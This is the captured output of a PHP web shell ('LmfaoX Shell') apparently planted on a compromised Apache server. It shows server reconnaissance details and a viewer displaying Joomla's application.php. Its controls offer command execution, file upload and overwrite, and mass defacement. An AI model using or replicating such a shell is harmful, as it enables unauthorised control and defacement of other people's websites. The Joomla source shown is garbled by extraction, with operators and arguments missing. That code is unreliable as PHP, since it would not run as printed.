ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:30.73 GB of 70.42 GB (43.64%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ guitar.1/ includes/ - drwxr-xr-x

Directory:
Viewing file:     application.php (16.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @copyright    Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
 * @license        GNU General Public License version 2 or later; see LICENSE.txt
 */

// no direct access
defined('_JEXEC') or die;

jimport('joomla.application.component.helper');

/**
 * Joomla! Application class
 *
 * Provide many supporting API functions
 *
 * @package        Joomla.Site
 * @subpackage    Application
 */
final class JSite extends JApplication
{
    
/**
     * Currently active template
     * @var object
     */
    
private $template null;

    
/**
     * Option to filter by language
     */
    
private $_language_filter false;

    
/**
     * Option to detect language by the browser
     */
    
private $_detect_browser false;

    
/**
     * Class constructor
     *
     * @param    array An optional associative array of configuration settings.
     * Recognized key values include 'clientId' (this list is not meant to be comprehensive).
     */
    
public function __construct($config = array())
    {
        
$config['clientId'] = 0;
        
parent::__construct($config);
    }

    
/**
     * Initialise the application.
     *
     * @param    array
     */
    
public function initialise($options = array())
    {
        
$config JFactory::getConfig();

        
// if a language was specified it has priority
        // otherwise use user or default language settings
        
JPluginHelper::importPlugin('system''languagefilter');

        if (empty(
$options['language'])) {
            
$lang JRequest::getString('language'null);
            if (
$lang && JLanguage::exists($lang)) {
                
$options['language'] = $lang;
            }
        }

        if (
$this->_language_filter && empty($options['language'])) {
            
// Detect cookie language
            
jimport('joomla.utilities.utility');
            
$lang JRequest::getString(self::getHash('language'), null 'cookie');
            
// Make sure that the user's language exists
            
if ($lang && JLanguage::exists($lang)) {
                
$options['language'] = $lang;
            }
        }

        if (empty(
$options['language'])) {
            
// Detect user language
            
$lang JFactory::getUser()->getParam('language');
            
// Make sure that the user's language exists
            
if ($lang && JLanguage::exists($lang)) {
                
$options['language'] = $lang;
            }
        }

        if (
$this->_detect_browser && empty($options['language'])) {
            
// Detect browser language
            
$lang JLanguageHelper::detectLanguage();
            
// Make sure that the user's language exists
            
if ($lang && JLanguage::exists($lang)) {
                
$options['language'] = $lang;
            }
        }

        if (empty(
$options['language'])) {
            
// Detect default language
            
$params =  JComponentHelper::getParams('com_languages');
            
$client    JApplicationHelper::getClientInfo($this->getClientId());
            
$options['language'] = $params->get($client->name$config->get('language''en-GB'));
        }

        
// One last check to make sure we have something
        
if (!JLanguage::exists($options['language'])) {
            
$lang $config->get('language''en-GB');
            if (
JLanguage::exists($lang)) {
                
$options['language'] = $lang;
            }
            else {
                
$options['language'] = 'en-GB'// as a last ditch fail to english
            
}
        }

        
// Execute the parent initialise method.
        
parent::initialise($options);

        
// Load Library language
        
$lang JFactory::getLanguage();

        
// Try the lib_joomla file in the current language (without allowing the loading of the file in the default language)
        
$lang->load('lib_joomla'JPATH_SITEnullfalsefalse)
        || 
$lang->load('lib_joomla'JPATH_ADMINISTRATORnullfalsefalse)
        
// Fallback to the lib_joomla file in the default language
        
|| $lang->load('lib_joomla'JPATH_SITEnulltrue)
        || 
$lang->load('lib_joomla'JPATH_ADMINISTRATORnulltrue);
    }

    
/**
     * Route the application.
     *
     */
    
public function route()
    {
        
parent::route();

        
$Itemid JRequest::getInt('Itemid');
        
$this->authorise($Itemid);
    }

    
/**
     * Dispatch the application
     *
     * @param    string
     */
    
public function dispatch($component null)
    {
        try
        {
            
// Get the component if not set.
            
if (!$component) {
                
$component JRequest::getCmd('option');
            }

            
$document    JFactory::getDocument();
            
$user        JFactory::getUser();
            
$router        $this->getRouter();
            
$params        $this->getParams();

            switch(
$document->getType())
            {
                case 
'html':
                    
// Get language
                    
$lang_code JFactory::getLanguage()->getTag();
                    
$languages JLanguageHelper::getLanguages('lang_code');

                    
// Set metadata
                    
if (isset($languages[$lang_code]) && $languages[$lang_code]->metakey) {
                        
$document->setMetaData('keywords'$languages[$lang_code]->metakey);
                    } else {
                        
$document->setMetaData('keywords'$this->getCfg('MetaKeys'));
                    }
                    
$document->setMetaData('rights'$this->getCfg('MetaRights'));
                    if (
$router->getMode() == JROUTER_MODE_SEF) {
                        
$document->setBase(htmlspecialchars(JURI::current()));
                    }
                    break;

                case 
'feed':
                    
$document->setBase(htmlspecialchars(JURI::current()));
                    break;
            }

            
$document->setTitle($params->get('page_title'));
            
$document->setDescription($params->get('page_description'));

            
// Add version number or not based on global configuration
            
if ($this->getCfg('MetaVersion'0))
            {
                
$document->setGenerator('Joomla! - Open Source Content Management  - Version ' JVERSION);
            }
            else
            {
                
$document->setGenerator('Joomla! - Open Source Content Management');
            }

            
$contents JComponentHelper::renderComponent($component);
            
$document->setBuffer($contents'component');

            
// Trigger the onAfterDispatch event.
            
JPluginHelper::importPlugin('system');
            
$this->triggerEvent('onAfterDispatch');
        }
        
// Mop up any uncaught exceptions.
        
catch (Exception $e)
        {
            
$code $e->getCode();
            
JError::raiseError($code $code 500$e->getMessage());
        }
    }

    
/**
     * Display the application.
     */
    
public function render()
    {
        
$document    JFactory::getDocument();
        
$user        JFactory::getUser();

        
// get the format to render
        
$format $document->getType();

        switch (
$format)
        {
            case 
'feed':
                
$params = array();
                break;

            case 
'html':
            default:
                
$template    $this->getTemplate(true);
                
$file        JRequest::getCmd('tmpl''index');

                if (!
$this->getCfg('offline') && ($file == 'offline')) {
                    
$file 'index';
                }

                if (
$this->getCfg('offline') && !$user->authorise('core.login.offline')) {
                    
$uri        JFactory::getURI();
                    
$return        = (string)$uri;
                    
$this->setUserState('users.login.form.data', array( 'return' => $return ) );
                    
$file 'offline';
                    
JResponse::setHeader('Status''503 Service Temporarily Unavailable''true');
                }
                if (!
is_dir(JPATH_THEMES '/' $template->template) && !$this->getCfg('offline')) {
                    
$file 'component';
                }
                
$params = array(
                    
'template'    => $template->template,
                    
'file'        => $file.'.php',
                    
'directory'    => JPATH_THEMES,
                    
'params'    => $template->params
                
);
                break;
        }

        
// Parse the document.
        
$document JFactory::getDocument();
        
$document->parse($params);

        
// Trigger the onBeforeRender event.
        
JPluginHelper::importPlugin('system');
        
$this->triggerEvent('onBeforeRender');

        
$caching false;
        if (
$this->getCfg('caching') && $this->getCfg('caching'2) == && !$user->get('id')) {
            
$caching true;
        }

        
// Render the document.
        
JResponse::setBody($document->render($caching$params));

        
// Trigger the onAfterRender event.
        
$this->triggerEvent('onAfterRender');
    }

    
/**
     * Login authentication function
     *
     * @param    array    Array('username' => string, 'password' => string)
     * @param    array    Array('remember' => boolean)
     *
     * @see JApplication::login
     */
    
public function login($credentials$options = array())
    {
         
// Set the application login entry point
        
if (!array_key_exists('entry_url'$options)) {
            
$options['entry_url'] = JURI::base().'index.php?option=com_users&task=user.login';
        }

        
// Set the access control action to check.
        
$options['action'] = 'core.login.site';

        return 
parent::login($credentials$options);
    }

    
/**
     * @deprecated 1.6    Use the authorise method instead.
     */
    
public function authorize($itemid)
    {
        
JLog::add('JSite::authorize() is deprecated. Use JSite::authorise() instead.'JLog::WARNING'deprecated');
        return 
$this->authorise($itemid);
    }

    
/**
     * Check if the user can access the application
     */
    
public function authorise($itemid)
    {
        
$menus    $this->getMenu();
        
$user    JFactory::getUser();

        if (!
$menus->authorise($itemid))
        {
            if (
$user->get('id') == 0)
            {
                
// Redirect to login
                
$uri        JFactory::getURI();
                
$return        = (string)$uri;

                
$this->setUserState('users.login.form.data', array( 'return' => $return ) );

                
$url    'index.php?option=com_users&view=login';
                
$url    JRoute::_($urlfalse);

                
$this->redirect($urlJText::_('JGLOBAL_YOU_MUST_LOGIN_FIRST'));
            }
            else {
                
JError::raiseError(403JText::_('JERROR_ALERTNOAUTHOR'));
            }
        }
    }

    
/**
     * Get the appliaction parameters
     *
     * @param    string    The component option
     * @return    object    The parameters object
     * @since    1.5
     */
    
public function getParams($option null)
    {
        static 
$params = array();

        
$hash '__default';
        if (!empty(
$option)) {
            
$hash $option;
        }
        if (!isset(
$params[$hash]))
        {
            
// Get component parameters
            
if (!$option) {
                
$option JRequest::getCmd('option');
            }
            
// Get new instance of component global parameters
            
$params[$hash] = clone JComponentHelper::getParams($option);

            
// Get menu parameters
            
$menus    $this->getMenu();
            
$menu    $menus->getActive();

            
// Get language
            
$lang_code JFactory::getLanguage()->getTag();
            
$languages JLanguageHelper::getLanguages('lang_code');

            
$title $this->getCfg('sitename');
            if (isset(
$languages[$lang_code]) && $languages[$lang_code]->metadesc) {
                
$description $languages[$lang_code]->metadesc;
            } else {
                
$description $this->getCfg('MetaDesc');
            }
            
$rights $this->getCfg('MetaRights');
            
$robots $this->getCfg('robots');
            
// Lets cascade the parameters if we have menu item parameters
            
if (is_object($menu)) {
                
$temp = new JRegistry;
                
$temp->loadString($menu->params);
                
$params[$hash]->merge($temp);
                
$title $menu->title;
            } else {
                
// get com_menu global settings
                
$temp = clone JComponentHelper::getParams('com_menus');
                
$params[$hash]->merge($temp);
                
// if supplied, use page title
                
$title $temp->get('page_title'$title);
            }

            
$params[$hash]->def('page_title'$title);
            
$params[$hash]->def('page_description'$description);
            
$params[$hash]->def('page_rights'$rights);
            
$params[$hash]->def('robots'$robots);
        }

        return 
$params[$hash];
    }

    
/**
     * Get the application parameters
     *
     * @param    string    The component option
     *
     * @return    object    The parameters object
     * @since    1.5
     */
    
public function getPageParameters($option null)
    {
        return 
$this->getParams($option);
    }

    
/**
     * Get the template
     *
     * @return string The template name
     * @since 1.0
     */
    
public function getTemplate($params false)
    {
        if(
is_object($this->template))
        {
            if (
$params) {
                return 
$this->template;
            }
            return 
$this->template->template;
        }
        
// Get the id of the active menu item
        
$menu $this->getMenu();
        
$item $menu->getActive();
        if (!
$item) {
            
$item $menu->getItem(JRequest::getInt('Itemid'));
        }

        
$id 0;
        if (
is_object($item)) { // valid item retrieved
            
$id $item->template_style_id;
        }
        
$condition '';

        
$tid JRequest::getVar('templateStyle'0);
        if (
is_numeric($tid) && (int) $tid 0) {
            
$id = (int) $tid;
        }


        
$cache JFactory::getCache('com_templates''');
        if (
$this->_language_filter) {
            
$tag JFactory::getLanguage()->getTag();
        }
        else {
            
$tag ='';
        }
        if (!
$templates $cache->get('templates0'.$tag)) {
            
// Load styles
            
$db JFactory::getDbo();
            
$query $db->getQuery(true);
            
$query->select('id, home, template, s.params');
            
$query->from('#__template_styles as s');
            
$query->where('s.client_id = 0');
            
$query->where('e.enabled = 1');
            
$query->leftJoin('#__extensions as e ON e.element=s.template AND e.type='.$db->quote('template').' AND e.client_id=s.client_id');

            
$db->setQuery($query);
            
$templates $db->loadObjectList('id');
            foreach(
$templates as &$template) {
                
$registry = new JRegistry;
                
$registry->loadString($template->params);
                
$template->params $registry;

                
// Create home element
                //sqlsrv change
                
if ($template->home == && !isset($templates[0]) || $this->_language_filter && $template->home == $tag) {
                    
$templates[0] = clone $template;
                }
            }
            
$cache->store($templates'templates0'.$tag);
        }

        if (isset(
$templates[$id])) {
            
$template $templates[$id];
        }
        else {
            
$template $templates[0];
        }

        
// Allows for overriding the active template from the request
        
$template->template JRequest::getCmd('template'$template->template);
        
$template->template JFilterInput::getInstance()->clean($template->template'cmd'); // need to filter the default value as well

        // Fallback template
        
if (!file_exists(JPATH_THEMES '/' $template->template '/index.php')) {
            
JError::raiseWarning(0JText::_('JERROR_ALERTNOTEMPLATE'));
            
$template->template 'beez_20';
            if (!
file_exists(JPATH_THEMES '/beez_20/index.php')) {
                
$template->template '';
            }
        }

        
// Cache the result
        
$this->template $template;
        if (
$params) {
            return 
$template;
        }
        return 
$template->template;
    }

    
/**
     * Overrides the default template that would be used
     *
     * @param string    The template name
     * @param mixed        The template style parameters
     */
    
public function setTemplate($template$styleParams=null)
     {
         if (
is_dir(JPATH_THEMES '/' $template)) {
             
$this->template = new stdClass();
             
$this->template->template $template;
            if (
$styleParams instanceof JRegistry) {
                
$this->template->params $styleParams;
            }
            else {
                
$this->template->params = new JRegistry($styleParams);
            }
         }
     }

    
/**
     * Return a reference to the JPathway object.
     *
     * @param    string    $name        The name of the application/client.
     * @param    array    $options    An optional associative array of configuration settings.
     *
     * @return    object    JMenu.
     * @since    1.5
     */
    
public function getMenu($name null$options = array())
    {
        
$options    = array();
        
$menu        parent::getMenu('site'$options);
        return 
$menu;
    }

    
/**
     * Return a reference to the JPathway object.
     *
     * @param    string    $name        The name of the application.
     * @param    array    $options    An optional associative array of configuration settings.
     *
     * @return    object JPathway.
     * @since    1.5
     */
    
public function getPathway($name null$options = array())
    {
        
$options = array();
        
$pathway parent::getPathway('site'$options);
        return 
$pathway;
    }

    
/**
     * Return a reference to the JRouter object.
     *
     * @param    string    $name        The name of the application.
     * @param    array    $options    An optional associative array of configuration settings.
     *
     * @return    JRouter
     * @since    1.5
     */
    
static public function getRouter($name null, array $options = array())
    {
        
$config JFactory::getConfig();
        
$options['mode'] = $config->get('sef');
        
$router parent::getRouter('site'$options);
        return 
$router;
    }

    
/**
     * Return the current state of the language filter.
     *
     * @return    boolean
     * @since    1.6
     */
    
public function getLanguageFilter()
    {
        return 
$this->_language_filter;
    }

    
/**
     * Set the current state of the language filter.
     *
     * @return    boolean    The old state
     * @since    1.6
     */
    
public function setLanguageFilter($state=false)
    {
        
$old $this->_language_filter;
        
$this->_language_filter=$state;
        return 
$old;
    }
    
/**
     * Return the current state of the detect browser option.
     *
     * @return    boolean
     * @since    1.6
     */
    
public function getDetectBrowser()
    {
        return 
$this->_detect_browser;
    }

    
/**
     * Set the current state of the detect browser option.
     *
     * @return    boolean    The old state
     * @since    1.6
     */
    
public function setDetectBrowser($state=false)
    {
        
$old $this->_detect_browser;
        
$this->_detect_browser=$state;
        return 
$old;
    }

    
/**
     * Redirect to another URL.
     *
     * Optionally enqueues a message in the system message queue (which will be displayed
     * the next time a page is loaded) using the enqueueMessage method. If the headers have
     * not been sent the redirect will be accomplished using a "301 Moved Permanently"
     * code in the header pointing to the new location. If the headers have already been
     * sent this will be accomplished using a JavaScript statement.
     *
     * @param    string    The URL to redirect to. Can only be http/https URL
     * @param    string    An optional message to display on redirect.
     * @param    string  An optional message type.
     * @param    boolean    True if the page is 301 Permanently Moved, otherwise 303 See Other is assumed.
     * @param    boolean    True if the enqueued messages are passed to the redirection, false else.
     * @return    none; calls exit().
     * @since    1.5
     * @see        JApplication::enqueueMessage()
     */
    
public function redirect($url$msg=''$msgType='message'$moved false$persistMsg true)
    {
        if (!
$persistMsg) {
            
$this->_messageQueue = array();
        }
        
parent::redirect($url$msg$msgType$moved);
    }
}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.2263 seconds